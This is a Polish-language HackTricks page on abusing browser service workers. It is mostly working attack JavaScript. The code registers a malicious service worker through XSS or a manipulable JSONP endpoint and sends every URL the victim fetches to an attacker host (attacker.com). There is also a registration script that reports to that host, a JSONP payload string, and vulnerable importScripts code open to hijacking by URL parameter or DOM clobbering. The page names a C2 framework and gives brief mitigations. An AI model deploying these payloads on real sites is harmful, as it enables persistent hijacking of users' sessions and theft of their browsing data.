Abusing Service Workers

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Grupa Try Hard Security


Podstawowe informacje

Pracownik usługowy to skrypt uruchamiany przez przeglądarkę w tle, niezależnie od jakiejkolwiek strony internetowej, umożliwiający funkcje, które nie wymagają strony internetowej ani interakcji użytkownika, zwiększając tym samym możliwości przetwarzania offline i w tle. Szczegółowe informacje na temat pracowników usługowych można znaleźć tutaj. Wykorzystując pracowników usługowych w podatnej domenie internetowej, atakujący mogą przejąć kontrolę nad interakcjami ofiary ze wszystkimi stronami w tej domenie.

Sprawdzanie istniejących pracowników usługowych

Istniejące pracowniki usługowi można sprawdzić w sekcji Pracownicy usługowi w zakładce Aplikacja w Narzędziach deweloperskich. Inną metodą jest odwiedzenie chrome://serviceworker-internals dla bardziej szczegółowego widoku.

Powiadomienia push

Uprawnienia do powiadomień push bezpośrednio wpływają na zdolność pracownika usługowego do komunikacji z serwerem bez bezpośredniej interakcji użytkownika. Jeśli uprawnienia są odmówione, ogranicza to potencjał pracownika usługowego do stanowienia ciągłego zagrożenia. W przeciwnym razie udzielenie uprawnień zwiększa ryzyko bezpieczeństwa, umożliwiając odbieranie i wykonywanie potencjalnych exploitów.

Atak tworzenia pracownika usługowego

Aby wykorzystać tę podatność, musisz znaleźć:

  • Sposób na przesłanie dowolnych plików JS na serwer i XSS do załadowania pracownika usługowego przesłanego pliku JS

  • Podatne żądanie JSONP, w którym można manipulować wynikiem (za pomocą dowolnego kodu JS) oraz XSS, aby załadować JSONP z ładunkiem, który załaduje złośliwego pracownika usługowego.

W poniższym przykładzie przedstawię kod do zarejestrowania nowego pracownika usługowego, który będzie nasłuchiwał zdarzenia fetch i będzie wysyłał na serwer atakującego każdy pobrany URL (to jest kod, który musiałbyś przesłać na serwer lub załadować za pomocą podatnej odpowiedzi JSONP):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Oto kod, który zarejestruje pracownika (kod, który powinieneś móc wykonać, wykorzystując XSS). W tym przypadku zostanie wysłane żądanie GET do serwera atakującego, informujące, czy rejestracja pracownika usługi zakończyła się sukcesem, czy nie:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

W przypadku wykorzystania podatnego punktu końcowego JSONP należy umieścić wartość wewnątrz var sw. Na przykład:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Istnieje C2 dedykowane do eksploatacji pracowników usługowych o nazwie Shadow Workers, które będzie bardzo przydatne do nadużywania tych podatności.

Dyrektywa pamięci podręcznej 24-godzinna ogranicza żywotność złośliwego lub skompromitowanego pracownika usługi (SW) do maksymalnie 24 godzin po naprawie podatności XSS, zakładając status klienta online. Aby zminimalizować podatność, operatorzy witryn mogą obniżyć czas życia skryptu SW (Time-To-Live, TTL). Deweloperom zaleca się również utworzenie przełącznika wyłączającego pracownika usługi dla szybkiego dezaktywowania.

Nadużywanie importScripts w SW za pomocą DOM Clobbering

Funkcja importScripts wywołana z pracownika usługi może importować skrypt z innej domeny. Jeśli ta funkcja jest wywoływana z parametrem, który atakujący mógłby zmodyfikować, mógłby importować skrypt JS z jego domeny i uzyskać XSS.

To nawet omija zabezpieczenia CSP.

Przykładowy podatny kod:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Za pomocą DOM Clobbering

Aby uzyskać więcej informacji na temat tego, czym jest DOM Clobbering, sprawdź:

pageDom Clobbering

Jeśli adres URL/domena, z której SW korzysta do wywołania importScripts, znajduje się wewnątrz elementu HTML, można go zmodyfikować za pomocą DOM Clobbering, aby sprawić, że SW załaduje skrypt z własnej domeny.

Aby zobaczyć przykład, sprawdź link referencyjny.

Referencje

Try Hard Security Group

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated